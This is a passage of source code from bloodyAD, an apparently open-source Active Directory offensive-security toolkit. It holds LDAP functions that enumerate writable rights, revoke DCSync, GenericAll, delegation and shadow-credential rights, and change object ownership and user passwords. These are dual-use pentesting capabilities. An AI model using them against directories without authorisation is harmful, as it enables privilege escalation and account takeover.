| elif otype == "GPO": 428 | objectClass = "groupPolicyContainer" 429 | else: 430 | objectClass = otype 431 | ldap_filter = f"(objectClass={objectClass})" 432 | 433 | attr_params = {} 434 | genericReturn = ( 435 | (lambda a: [b for b in a]) 436 | if detail 437 | else (lambda a: ["permission"] if a else []) 438 | ) 439 | if right == "WRITE" or right == "ALL": 440 | attr_params["allowedAttributesEffective"] = { 441 | "lambda": genericReturn, 442 | "right": "WRITE", 443 | } 444 | 445 | def testSDRights(a): # Mask defined in MS-ADTS for allowedAttributesEffective 446 | r = [] 447 | if not a: 448 | return r 449 | if a & 3: 450 | r.append("OWNER") 451 | if a & 4: 452 | r.append("DACL") 453 | if a & 8: 454 | r.append("SACL") 455 | return r 456 | 457 | attr_params["sDRightsEffective"] = {"lambda": testSDRights, "right": "WRITE"} 458 | if right == "CHILD" or right == "ALL": 459 | attr_params["allowedChildClassesEffective"] = { 460 | "lambda": genericReturn, 461 | "right": "CREATE_CHILD", 462 | } 463 | 464 | searchbases = [] 465 | # if partition == "DOMAIN": 466 | searchbases.append(conn.ldap.domainNC) 467 | # elif partition == "DNS": 468 | # searchbases.append(conn.ldap.applicationNCs) # A definir https://learn.microsoft.com/en-us/windows/win32/ad/enumerating-application-directory-partitions-in-a-forest 469 | # else: 470 | # searchbases.append(conn.ldap.NCs) # A definir 471 | right_entry = {} 472 | for searchbase in searchbases: 473 | for entry in conn.ldap.bloodysearch( 474 | searchbase, ldap_filter, search_scope=Scope.SUBTREE, attr=attr_params.keys() 475 | ): 476 | for attr_name in entry: 477 | if attr_name not in attr_params: 478 | continue 479 | key_names = attr_params[attr_name]["lambda"](entry[attr_name]) 480 | for name in key_names: 481 | if name == "distinguishedName": 482 | name = "dn" 483 | if name not in right_entry: 484 | right_entry[name] = [] 485 | right_entry[name].append(attr_params[attr_name]["right"]) 486 | 487 | if right_entry: 488 | yield { 489 | **{"distinguishedName": entry["distinguishedName"]}, 490 | **right_entry, 491 | } 492 | right_entry = {} 493 | -------------------------------------------------------------------------------- /bloodyAD/cli_modules/remove.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | from typing import Literal 3 | import msldap 4 | from bloodyAD import utils 5 | from bloodyAD.exceptions import LOG 6 | from bloodyAD.formatters import accesscontrol, common, dns, cryptography 7 | from bloodyAD.exceptions import BloodyError 8 | from bloodyAD.network.ldap import Change 9 | 10 | 11 | def dcsync(conn, trustee: str): 12 | """ 13 | Remove DCSync right for provided trustee 14 | 15 | :param trustee: sAMAccountName, DN, GUID or SID of the trustee 16 | """ 17 | new_sd, _ = utils.getSD(conn, conn.ldap.domainNC) 18 | if "s-1-" in trustee.lower(): 19 | trustee_sid = trustee 20 | else: 21 | trustee_sid = next(conn.ldap.bloodysearch(trustee, attr=["objectSid"]))[ 22 | "objectSid" 23 | ] 24 | access_mask = accesscontrol.ACCESS_FLAGS["ADS_RIGHT_DS_CONTROL_ACCESS"] 25 | utils.delRight(new_sd, trustee_sid, access_mask) 26 | 27 | req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( 28 | {"Flags": accesscontrol.DACL_SECURITY_INFORMATION} 29 | ) 30 | controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] 31 | 32 | conn.ldap.bloodymodify( 33 | conn.ldap.domainNC, 34 | {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, 35 | controls, 36 | ) 37 | 38 | LOG.info(f"[-] {trustee} can't DCSync anymore") 39 | 40 | 41 | def dnsRecord( 42 | conn, 43 | name: str, 44 | data: str, 45 | dnstype: Literal["A", "AAAA", "CNAME", "MX", "PTR", "SRV", "TXT"] = "A", 46 | zone: str = "CurrentDomain", 47 | ttl: int = None, 48 | preference: int = None, 49 | port: int = None, 50 | priority: int = None, 51 | weight: int = None, 52 | forest: bool = False, 53 | ): 54 | """ 55 | Remove a DNS record of an AD environment. 56 | 57 | :param name: name of the dnsNode object (hostname) which contains the record 58 | :param data: DNS record data 59 | :param dnstype: DNS record type 60 | :param zone: DNS zone 61 | :param ttl: DNS record TTL 62 | :param preference: DNS MX record preference 63 | :param port: listening port of the service in a DNS SRV record 64 | :param priority: priority of a DNS SRV record against concurrent 65 | :param weight: weight of a DNS SRV record against concurrent 66 | :param forest: if set, will fetch the dns record in forest instead of domain 67 | """ 68 | 69 | naming_context = "," + conn.ldap.domainNC 70 | if zone == "CurrentDomain": 71 | zone = "" 72 | for label in naming_context.split(",DC="): 73 | if label: 74 | zone += "." + label 75 | if forest: 76 | zone = "_msdcs" + zone 77 | else: 78 | # Removes first dot 79 | zone = zone[1:] 80 | 81 | # TODO: take into account custom ForestDnsZones and DomainDnsZones partition name ? 82 | if forest: 83 | zone_type = "ForestDnsZones" 84 | else: 85 | zone_type = "DomainDnsZones" 86 | 87 | zone_dn = f",DC={zone},CN=MicrosoftDNS,DC={zone_type}{naming_context}" 88 | record_dn = f"DC={name}{zone_dn}" 89 | 90 | record_to_remove = None 91 | dns_list = next(conn.ldap.bloodysearch(record_dn, attr=["dnsRecord"], raw=True))[ 92 | "dnsRecord" 93 | ] 94 | for raw_record in dns_list: 95 | record = dns.Record(raw_record) 96 | tmp_record = dns.Record() 97 | 98 | if not ttl: 99 | ttl = record["TtlSeconds"] 100 | tmp_record.fromDict( 101 | data, 102 | dnstype, 103 | ttl, 104 | record["Rank"], 105 | record["Serial"], 106 | preference, 107 | port, 108 | priority, 109 | weight, 110 | ) 111 | if tmp_record.getData() == raw_record: 112 | record_to_remove = raw_record 113 | break 114 | 115 | if not record_to_remove: 116 | LOG.warning("[!] Record not found") 117 | return 118 | 119 | if len(dns_list) > 1: 120 | conn.ldap.bloodymodify( 121 | record_dn, {"dnsRecord": [(Change.DELETE.value, record_to_remove)]} 122 | ) 123 | else: 124 | conn.ldap.bloodydelete(record_dn) 125 | 126 | LOG.info(f"[-] Given record has been successfully removed from {name}") 127 | 128 | 129 | def genericAll(conn, target: str, trustee: str): 130 | """ 131 | Remove full control of trustee on target 132 | 133 | :param target: sAMAccountName, DN, GUID or SID of the target 134 | :param trustee: sAMAccountName, DN, GUID or SID of the trustee 135 | """ 136 | new_sd, _ = utils.getSD(conn, target) 137 | if "s-1-" in trustee.lower(): 138 | trustee_sid = trustee 139 | else: 140 | trustee_sid = next(conn.ldap.bloodysearch(trustee, attr=["objectSid"]))[ 141 | "objectSid" 142 | ] 143 | utils.delRight(new_sd, trustee_sid) 144 | 145 | req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( 146 | {"Flags": accesscontrol.DACL_SECURITY_INFORMATION} 147 | ) 148 | controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] 149 | 150 | conn.ldap.bloodymodify( 151 | target, 152 | {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, 153 | controls, 154 | ) 155 | 156 | LOG.info(f"[-] {trustee} doesn't have GenericAll on {target} anymore") 157 | 158 | 159 | def groupMember(conn, group: str, member: str): 160 | """ 161 | Remove member (user, group, computer) from group 162 | 163 | :param group: sAMAccountName, DN, GUID or SID of the group 164 | :param member: sAMAccountName, DN, GUID or SID of the member 165 | """ 166 | # This is equivalent to classic add member, 167 | # see [MS-ADTS] - 3.1.1.3.1.2.4 Alternative Forms of DNs 168 | # But also has the advantage of being compatible with foreign security principals, 169 | # see [MS-ADTS] - 3.1.1.5.3.3 Processing Specifics 170 | if "s-1-" in member.lower(): 171 | # We assume member is an SID 172 | member_transformed = f"" 173 | else: 174 | member_transformed = conn.ldap.dnResolver(member) 175 | 176 | conn.ldap.bloodymodify( 177 | group, {"member": [(Change.DELETE.value, member_transformed)]} 178 | ) 179 | LOG.info(f"[-] {member} removed from {group}") 180 | 181 | 182 | def object(conn, target: str): 183 | """ 184 | Remove object (user, group, computer, organizational unit, etc) 185 | 186 | :param target: sAMAccountName, DN, GUID or SID of the target 187 | """ 188 | conn.ldap.bloodydelete(target) 189 | LOG.info(f"[-] {target} has been removed") 190 | 191 | 192 | def rbcd(conn, target: str, service: str): 193 | """ 194 | Remove Resource Based Constraint Delegation for service on target 195 | 196 | :param target: sAMAccountName, DN, GUID or SID of the target 197 | :param service: sAMAccountName, DN, GUID or SID of the service account 198 | """ 199 | control_flag = 0 200 | new_sd, _ = utils.getSD( 201 | conn, target, "msDS-AllowedToActOnBehalfOfOtherIdentity", control_flag 202 | ) 203 | if "s-1-" in service.lower(): 204 | service_sid = service 205 | else: 206 | service_sid = next(conn.ldap.bloodysearch(service, attr=["objectSid"]))[ 207 | "objectSid" 208 | ] 209 | access_mask = accesscontrol.ACCESS_FLAGS["ADS_RIGHT_DS_CONTROL_ACCESS"] 210 | utils.delRight(new_sd, service_sid, access_mask) 211 | 212 | attr_values = [] 213 | if len(new_sd["Dacl"].aces) > 0: 214 | attr_values = new_sd.getData() 215 | conn.ldap.bloodymodify( 216 | target, 217 | { 218 | "msDS-AllowedToActOnBehalfOfOtherIdentity": [ 219 | ( 220 | Change.REPLACE.value, 221 | attr_values, 222 | ) 223 | ] 224 | }, 225 | ) 226 | 227 | LOG.info(f"[-] {service} can't impersonate users on {target} anymore") 228 | 229 | 230 | def shadowCredentials(conn, target: str, key: str = None): 231 | """ 232 | Remove Key Credentials from target 233 | 234 | :param target: sAMAccountName, DN, GUID or SID of the target 235 | :param key: RSA key of Key Credentials to remove from the target, removes all if key not specified 236 | """ 237 | keyCreds = next( 238 | conn.ldap.bloodysearch(target, attr=["msDS-KeyCredentialLink"], raw=True) 239 | )["msDS-KeyCredentialLink"] 240 | newKeyCreds = [] 241 | isFound = False 242 | for keyCred in keyCreds: 243 | key_raw = common.DNBinary(keyCred).value 244 | key_blob = cryptography.KEYCREDENTIALLINK_BLOB(key_raw) 245 | if key and key_blob.getKeyID() != binascii.unhexlify(key): 246 | newKeyCreds.append(keyCred.decode()) 247 | else: 248 | isFound = True 249 | LOG.debug("[*] Key to delete found") 250 | 251 | if not isFound: 252 | LOG.warning("[!] No key found") 253 | conn.ldap.bloodymodify( 254 | target, {"msDS-KeyCredentialLink": [(Change.REPLACE.value, newKeyCreds)]} 255 | ) 256 | 257 | str_key = key if key else "All keys" 258 | LOG.info(f"[-] {str_key} removed") 259 | 260 | 261 | def uac(conn, target: str, f: list = None): 262 | """ 263 | Remove property flags altering user/computer object behavior 264 | 265 | :param target: sAMAccountName, DN, GUID or SID of the target 266 | :param f: name of property flag to remove, can be called multiple times if multiple flags to remove (e.g -f LOCKOUT -f ACCOUNTDISABLE) 267 | """ 268 | uac = 0 269 | for flag in f: 270 | uac |= accesscontrol.ACCOUNT_FLAGS[flag] 271 | 272 | try: 273 | old_uac = next( 274 | conn.ldap.bloodysearch(target, attr=["userAccountControl"], raw=True) 275 | )["userAccountControl"][0] 276 | except IndexError as e: 277 | for allowed in next(conn.ldap.bloodysearch(target, attr=["allowedAttributes"]))[ 278 | "allowedAttributes" 279 | ]: 280 | if "userAccountControl" in allowed: 281 | raise BloodyError( 282 | "Current user doesn't have the right to read userAccountControl on" 283 | f" {target}" 284 | ) from e 285 | raise BloodyError(f"{target} doesn't have userAccountControl attribute") from e 286 | 287 | uac = int(old_uac) & ~uac 288 | conn.ldap.bloodymodify( 289 | target, {"userAccountControl": [(Change.REPLACE.value, uac)]} 290 | ) 291 | 292 | LOG.info(f"[-] {f} property flags removed from {target}'s userAccountControl") 293 | -------------------------------------------------------------------------------- /bloodyAD/cli_modules/set.py: -------------------------------------------------------------------------------- 1 | import msldap 2 | 3 | from bloodyAD import utils 4 | from bloodyAD.exceptions import LOG 5 | from bloodyAD.formatters import accesscontrol 6 | from bloodyAD.network.ldap import Change 7 | from msldap.protocol import typeconversion 8 | from msldap.protocol.typeconversion import ( 9 | LDAP_WELL_KNOWN_ATTRS, 10 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES, 11 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC 12 | ) 13 | from datetime import datetime, timezone, timedelta 14 | import unicodedata 15 | 16 | 17 | 18 | def object(conn, target: str, attribute: str, v: list = [], raw: bool = False): 19 | """ 20 | Add/Replace/Delete target's attribute 21 | 22 | :param target: sAMAccountName, DN, GUID or SID of the target 23 | :param attribute: name of the attribute 24 | :param v: add value if attribute doesn't exist, replace value if attribute exists, delete if no value given, can be called multiple times if multiple values to set (e.g -v HOST/janettePC -v HOST/janettePC.bloody.local) 25 | :param raw: if set, will try to send the values provided as is, without any encoding 26 | """ 27 | if not raw: 28 | # We change some encoding functions because for whatever reason some are marked as 'bytes' but are actually 'sd' so can take sddl string 29 | # but we cannot directly change in msldap because it would break the ones passing directly multi_bytes 30 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC["msDS-AllowedToActOnBehalfOfOtherIdentity"] = typeconversion.multi_sd 31 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC["nTSecurityDescriptor"] = typeconversion.single_sd 32 | norm_attr = attribute.lower() 33 | lookup_table = None 34 | # Order is very important cause there are overlapped with different encoding function values 35 | for table in [MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC, MSLDAP_BUILTIN_ATTRIBUTE_TYPES, LDAP_WELL_KNOWN_ATTRS]: 36 | for key in table: 37 | if key.lower() == norm_attr: 38 | attribute = key 39 | lookup_table = table 40 | break 41 | if lookup_table: 42 | break 43 | 44 | if lookup_table: 45 | encoding_func = lookup_table[attribute] 46 | str_support = ["utf16le","sid","str","int","guid","sd"] 47 | encoding_type = encoding_func.__name__.split('_')[1] 48 | if encoding_type not in str_support: 49 | LOG.warning(f"[!] Attribute encoding not supported for {attribute} with {encoding_type} attribute type, using raw mode") 50 | raw = True 51 | else: 52 | LOG.warning(f"[!] Attribute encoding not supported for {attribute}, using raw mode") 53 | raw = True 54 | # Converting raw str into raw binary 55 | if raw: 56 | v = [vstr.encode() for vstr in v] 57 | 58 | conn.ldap.bloodymodify( 59 | target, {attribute: [(Change.REPLACE.value, v)]}, encode=(not raw) 60 | ) 61 | LOG.info(f"[+] {target}'s {attribute} has been updated") 62 | 63 | 64 | def owner(conn, target: str, owner: str): 65 | """ 66 | Changes target ownership with provided owner (WriteOwner permission required) 67 | 68 | :param target: sAMAccountName, DN, GUID or SID of the target 69 | :param owner: sAMAccountName, DN, GUID or SID of the new owner 70 | """ 71 | new_sid = next(conn.ldap.bloodysearch(owner, attr=["objectSid"]))["objectSid"] 72 | 73 | new_sd, _ = utils.getSD( 74 | conn, target, "nTSecurityDescriptor", accesscontrol.OWNER_SECURITY_INFORMATION 75 | ) 76 | 77 | old_sid = new_sd["OwnerSid"].formatCanonical() 78 | if old_sid == new_sid: 79 | LOG.warning(f"[!] {old_sid} is already the owner, no modification will be made") 80 | else: 81 | new_sd["OwnerSid"].fromCanonical(new_sid) 82 | 83 | req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( 84 | {"Flags": accesscontrol.OWNER_SECURITY_INFORMATION} 85 | ) 86 | controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] 87 | 88 | conn.ldap.bloodymodify( 89 | target, 90 | {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, 91 | controls, 92 | ) 93 | 94 | LOG.info(f"[+] Old owner {old_sid} is now replaced by {owner} on {target}") 95 | 96 | 97 | # Full info on what you can do: 98 | # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/change-windows-active-directory-user-password 99 | def password(conn, target: str, newpass: str, oldpass: str = None): 100 | """ 101 | Change password of a user/computer 102 | 103 | :param target: sAMAccountName, DN, GUID or SID of the target 104 | :param newpass: new password for the target 105 | :param oldpass: old password of the target, mandatory if you don't have "change password" permission on the target 106 | """ 107 | encoded_new_password = '"%s"' % newpass 108 | if oldpass is not None: 109 | encoded_old_password = '"%s"' % oldpass 110 | op_list = [ 111 | (Change.DELETE.value, encoded_old_password), 112 | (Change.ADD.value, encoded_new_password), 113 | ] 114 | else: 115 | op_list = [(Change.REPLACE.value, encoded_new_password)] 116 | 117 | try: 118 | conn.ldap.bloodymodify(target, {"unicodePwd": op_list}) 119 | 120 | except msldap.commons.exceptions.LDAPModifyException as e: 121 | # Let's check if we comply to pwd policy 122 | entry = next( 123 | conn.ldap.bloodysearch( 124 | target, 125 | attr=[ 126 | "msDS-ResultantPSO", 127 | "pwdLastSet", 128 | "displayName", 129 | "sAMAccountName", 130 | "sAMAccountType", 131 | ], 132 | ) 133 | ) 134 | pwdLastSet = entry.get("pwdLastSet", 0) 135 | pwdPolicy = None 136 | error_str = "" 137 | if "msDS-ResultantPSO" in entry: 138 | tmpPolicy = next( 139 | conn.ldap.bloodysearch( 140 | entry["msDS-ResultantPSO"], 141 | attr=[ 142 | "msDS-MinimumPasswordAge", 143 | "msDS-MinimumPasswordLength", 144 | "msDS-PasswordHistoryLength", 145 | "msDS-PasswordComplexityEnabled", 146 | "name", 147 | ], 148 | ) 149 | ) 150 | pwdPolicy = { 151 | "minPwdAge": tmpPolicy.get("msDS-MinimumPasswordAge", timedelta()), 152 | "minPwdLength": tmpPolicy.get("msDS-MinimumPasswordLength", 0), 153 | "pwdHistoryLength": tmpPolicy.get("msDS-PasswordHistoryLength", 0), 154 | "pwdComplexity": tmpPolicy.get("msDS-PasswordComplexityEnabled", False), 155 | } 156 | # custom password policies are not readable by basic users 157 | if "name" not in tmpPolicy: 158 | error_str = ( 159 | "Password can't be changed. User is subject to the custom password" 160 | f" policy {entry['msDS-ResultantPSO'].split(',')[0]} which may be" 161 | " more restrictive than the default one." 162 | ) 163 | else: 164 | pwdPolicy = next( 165 | conn.ldap.bloodysearch( 166 | conn.ldap.domainNC, 167 | attr=[ 168 | "minPwdAge", 169 | "minPwdLength", 170 | "pwdHistoryLength", 171 | "pwdProperties", 172 | ], 173 | ) 174 | ) 175 | pwdPolicy["pwdComplexity"] = (pwdPolicy["pwdProperties"] & 1) > 0 176 | 177 | # Complexity check 178 | if pwdPolicy.get("pwdComplexity"): 179 | tmp_err = "New password doesn't match the complexity:" 180 | objectName = entry["sAMAccountName"] 181 | objectDisplayName = entry.get("displayName", "") 182 | # Checks on name only apply on users not computers idk why 183 | if ( 184 | entry["sAMAccountType"] == 805306368 185 | and objectName.upper() in newpass.upper() 186 | ): 187 | error_str = ( 188 | f"{tmp_err} newpass must not include the user's name '{objectName}'" 189 | " (case insensitive)." 190 | ) 191 | elif ( 192 | entry["sAMAccountType"] == 805306368 193 | and objectDisplayName 194 | and objectDisplayName.upper() in newpass.upper() 195 | ): 196 | error_str = ( 197 | f"{tmp_err} newpass must not include the user's display name" 198 | f" '{objectDisplayName}' (case insensitive)." 199 | ) 200 | else: 201 | checks = 0 202 | if any(char.isupper() for char in newpass): 203 | checks += 1 204 | if any(char.islower() for char in newpass): 205 | checks += 1 206 | if any(char.isdigit() for char in newpass): 207 | checks += 1 208 | if any(char in '-!"#$%&()*,./:;?@[]^_`{|}~+<=>' for char in newpass): 209 | checks += 1 210 | # Any Unicode character that's categorized as an alphabetic character but isn't uppercase or lowercase 211 | # https://www.unicode.org/reports/tr44/#General_Category_Values 212 | if any( 213 | "L" in unicodedata.category(char) 214 | and unicodedata.category(char) not in ["Ll", "Lu"] 215 | for char in newpass 216 | ): 217 | checks += 1 218 | 219 | if checks < 3: 220 | error_str = ( 221 | f"{tmp_err} The password must contains characters from three of" 222 | " the following categories: Uppercase, Lowercase, Digits," 223 | " Special, Unicode Alphabetic not included in Uppercase and" 224 | " Lowercase" 225 | ) 226 | # Pwd length check 227 | if len(newpass) < pwdPolicy.get("minPwdLength", 0): 228 | error_str += ( 229 | "\nNew password should have at least" 230 | f" {pwdPolicy['minPwdLength']} characters and not {len(newpass)}" 231 | ) 232 | # Pwd age check 233 | if pwdLastSet: 234 | pwdAge = datetime.now(timezone.utc) - pwdLastSet 235 | if pwdAge < -pwdPolicy.get("minPwdAge", timedelta()): 236 | error_str += ( 237 | "\nPassword can't be changed before" 238 | f" {pwdPolicy['minPwdAge'] - pwdAge} because of the minimum" 239 | " password age policy." 240 | ) 241 | # No issue has been found, it may be because of the password history 242 | if not error_str: 243 | # If password changed without oldpass, you don't need to respect password history 244 | if not oldpass: 245 | error_str = ( 246 | "Password can't be changed. It may be because the oldpass provided" 247 | " is not valid.\nYou can try to use another password change" 248 | " protocol such as smbpasswd, server error may be more explicit." 249 | ) 250 | else: 251 | print(pwdPolicy) 252 | if pwdPolicy.get("pwdHistoryLength", 0) > 0: 253 | if oldpass == newpass: 254 | error_str = "New Password can't be identical to old password." 255 | else: 256 | error_str = ( 257 | "Password can't be changed. It may be because the new" 258 | " password is already in the password history of the" 259 | " target or that the oldpass provided is not valid.\nYou" 260 | " can try to use another password change protocol such as" 261 | " smbpasswd, server error may be more explicit." 262 | ) 263 | else: 264 | error_str = ( 265 | "Password can't be changed. It may be because the oldpass" 266 | " provided is not valid.\nYou can try to use another password" 267 | " change protocol such as smbpasswd, server error may be more" 268 | " explicit." 269 | ) 270 | 271 | # We can't modify the object on the fly so let's do it on the class :D 272 | msldap.commons.exceptions.LDAPModifyException.__str__ = lambda self: error_str 273 | raise e 274 | 275 | LOG.info("[+] Password changed successfully!") 276 | return True 277 | -------------------------------------------------------------------------------- /bloodyAD/exceptions.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | LOG = logging.getLogger("bloodyAD") 4 | 5 | 6 | class BloodyError(Exception): 7 | pass 8 | 9 | 10 | class LDAPError(BloodyError): 11 | pass 12 | 13 | 14 | class ResultError(LDAPError): 15 | def __init__(self, result): 16 | self.result = result 17 | 18 | if self.result["result"] == 50: 19 | self.message = ( 20 | "[-] Could not modify object, the server reports insufficient rights: " 21 | + self.result["message"] 22 | ) 23 | elif self.result["result"] == 19: 24 | self.message = ( 25 | "[-] Could not modify object, the server reports a constrained" 26 | " violation: " + self.result["message"] 27 | ) 28 | else: 29 | self.message = "[-] The server returned an error: " + self.result["message"] 30 | 31 | super().__init__(self.message) 32 | 33 | 34 | class NoResultError(LDAPError): 35 | def __init__(self, search_base, ldap_filter): 36 | self.filter = ldap_filter 37 | self.base = search_base 38 | self.message = f"[-] No object found in {self.base} with filter: {self.filter}" 39 | super().__init__(self.message) 40 | 41 | 42 | class TooManyResultsError(LDAPError): 43 | def __init__(self, search_base, ldap_filter, entries): 44 | self.filter = ldap_filter 45 | self.base = search_base 46 | self.limit = 10 47 | self.entries = list(entries) 48 | 49 | if len(self.entries) <= self.limit: 50 | self.results = "\n".join(entry["dn"] for entry in entries) 51 | self.message = ( 52 | f"[-] {len(self.entries)} objects found in {self.base} with" 53 | f" filter: {ldap_filter}\n" 54 | ) 55 | self.message += "\tPlease put the full target DN\n" 56 | self.message += f"\tResult of query: \n{self.results}" 57 | else: 58 | self.message = ( 59 | f"\tMore than {self.limit} entries in {self.base} match {self.filter}" 60 | ) 61 | self.message += "\tPlease put the full target DN" 62 | 63 | super().__init__(self.message) 64 | -------------------------------------------------------------------------------- /bloodyAD/formatters/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CravateRouge/bloodyAD/1c0f2159865eaa147a474221e09561eee2e1828a/bloodyAD/formatters/__init__.py -------------------------------------------------------------------------------- /bloodyAD/formatters/accesscontrol.py: -------------------------------------------------------------------------------- 1 | from bloodyAD.formatters import ldaptypes 2 | import uuid 3 | 4 | 5 | # 2.4.7 SECURITY_INFORMATION 6 | OWNER_SECURITY_INFORMATION = 0x00000001 7 | GROUP_SECURITY_INFORMATION = 0x00000002 8 | DACL_SECURITY_INFORMATION = 0x00000004 9 | SACL_SECURITY_INFORMATION = 0x00000008 10 | LABEL_SECURITY_INFORMATION = 0x00000010 11 | UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000 12 | UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000 13 | PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000 14 | PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000 15 | ATTRIBUTE_SECURITY_INFORMATION = 0x00000020 16 | SCOPE_SECURITY_INFORMATION = 0x00000040 17 | BACKUP_SECURITY_INFORMATION = 0x00010000 18 | 19 | # https://docs.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_rights_enum 20 | ACCESS_FLAGS = { 21 | # Flag constants 22 | "GENERIC_READ": 0x80000000, 23 | "GENERIC_WRITE": 0x40000000, 24 | "GENERIC_EXECUTE": 0x20000000, 25 | "GENERIC_ALL": 0x10000000, 26 | "MAXIMUM_ALLOWED": 0x02000000, 27 | "ACCESS_SYSTEM_SECURITY": 0x01000000, 28 | "SYNCHRONIZE": 0x00100000, 29 | # Not in the spec but equivalent to the flags below it 30 | "FULL_CONTROL": 0x000F01FF, 31 | "WRITE_OWNER": 0x00080000, 32 | "WRITE_DACL": 0x00040000, 33 | "READ_CONTROL": 0x00020000, 34 | "DELETE": 0x00010000, 35 | # ACE type specific mask constants 36 | # Note that while not documented, these also seem valid 37 | # for ACCESS_ALLOWED_ACE types 38 | "ADS_RIGHT_DS_CONTROL_ACCESS": 0x00000100, 39 | "ADS_RIGHT_DS_CREATE_CHILD": 0x00000001, 40 | "ADS_RIGHT_DS_DELETE_CHILD": 0x00000002, 41 | "ADS_RIGHT_DS_READ_PROP": 0x00000010, 42 | "ADS_RIGHT_DS_WRITE_PROP": 0x00000020, 43 | "ADS_RIGHT_DS_SELF": 0x00000008, 44 | } 45 | 46 | # https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-addauditaccessobjectace 47 | ACE_FLAGS = { 48 | # Flag constants 49 | "CONTAINER_INHERIT_ACE": 0x02, 50 | "FAILED_ACCESS_ACE_FLAG": 0x80, 51 | "INHERIT_ONLY_ACE": 0x08, 52 | "INHERITED_ACE": 0x10, 53 | "NO_PROPAGATE_INHERIT_ACE": 0x04, 54 | "OBJECT_INHERIT_ACE": 0x01, 55 | "SUCCESSFUL_ACCESS_ACE_FLAG": 0x40, 56 | } 57 | 58 | # see https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties 59 | ACCOUNT_FLAGS = { 60 | "SCRIPT": 0x0001, 61 | "ACCOUNTDISABLE": 0x0002, 62 | "HOMEDIR_REQUIRED": 0x0008, 63 | "LOCKOUT": 0x0010, 64 | "PASSWD_NOTREQD": 0x0020, 65 | "PASSWD_CANT_CHANGE": 0x0040, 66 | "ENCRYPTED_TEXT_PWD_ALLOWED": 0x0080, 67 | "TEMP_DUPLICATE_ACCOUNT": 0x0100, 68 | "NORMAL_ACCOUNT": 0x0200, 69 | "INTERDOMAIN_TRUST_ACCOUNT": 0x0800, 70 | "WORKSTATION_TRUST_ACCOUNT": 0x1000, 71 | "SERVER_TRUST_ACCOUNT": 0x2000, 72 | "DONT_EXPIRE_PASSWORD": 0x10000, 73 | "MNS_LOGON_ACCOUNT": 0x20000, 74 | "SMARTCARD_REQUIRED": 0x40000, 75 | "TRUSTED_FOR_DELEGATION": 0x80000, 76 | "NOT_DELEGATED": 0x100000, 77 | "USE_DES_KEY_ONLY": 0x200000, 78 | "DONT_REQ_PREAUTH": 0x400000, 79 | "PASSWORD_EXPIRED": 0x800000, 80 | "TRUSTED_TO_AUTH_FOR_DELEGATION": 0x1000000, 81 | "PARTIAL_SECRETS_ACCOUNT": 0x04000000, 82 | "USE_AES_KEYS": 0x8000000, 83 | } 84 | 85 | 86 | def createACE(sid, object_type=None, access_mask=ACCESS_FLAGS["FULL_CONTROL"]): 87 | nace = ldaptypes.ACE() 88 | nace["AceFlags"] = ( 89 | ACE_FLAGS["CONTAINER_INHERIT_ACE"] + ACE_FLAGS["OBJECT_INHERIT_ACE"] 90 | ) 91 | 92 | if object_type is None: 93 | acedata = ldaptypes.ACCESS_ALLOWED_ACE() 94 | nace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 95 | else: 96 | nace["AceType"] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 97 | acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() 98 | acedata["ObjectType"] = uuid.UUID(object_type).bytes_le 99 | acedata["InheritedObjectType"] = b"" 100 | acedata["Flags"] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 101 | 102 | acedata["Mask"] = ldaptypes.ACCESS_MASK() 103 | acedata["Mask"]["Mask"] = access_mask 104 | 105 | if type(sid) is str: 106 | acedata["Sid"] = ldaptypes.LDAP_SID() 107 | acedata["Sid"].fromCanonical(sid) 108 | else: 109 | acedata["Sid"] = sid 110 | 111 | nace["Ace"] = acedata 112 | return nace 113 | 114 | 115 | def createEmptySD(): 116 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 117 | sd["Revision"] = b"\x01" 118 | sd["Sbz1"] = b"\x00" 119 | sd["Control"] = 32772 120 | sd["OwnerSid"] = ldaptypes.LDAP_SID() 121 | # BUILTIN\Administrators 122 | sd["OwnerSid"].fromCanonical("S-1-5-32-544") 123 | sd["GroupSid"] = b"" 124 | sd["Sacl"] = b"" 125 | acl = ldaptypes.ACL() 126 | acl["AclRevision"] = 4 127 | acl["Sbz1"] = 0 128 | acl["Sbz2"] = 0 129 | acl.aces = [] 130 | sd["Dacl"] = acl 131 | return sd 132 | -------------------------------------------------------------------------------- /bloodyAD/formatters/common.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | 3 | 4 | class DNBinary: 5 | """ 6 | Object(DN-Binary) - adschema 7 | """ 8 | 9 | def __init__(self, data=None): 10 | if not data: 11 | return 12 | data = data.decode("utf-8").split(":") 13 | if len(data) != 4 or data[0] != "B": 14 | raise TypeError("can't convert str to DN-Binary") 15 | self.count = int(data[1]) 16 | self.binary_value = data[2] 17 | 18 | self.value = binascii.unhexlify(self.binary_value) 19 | 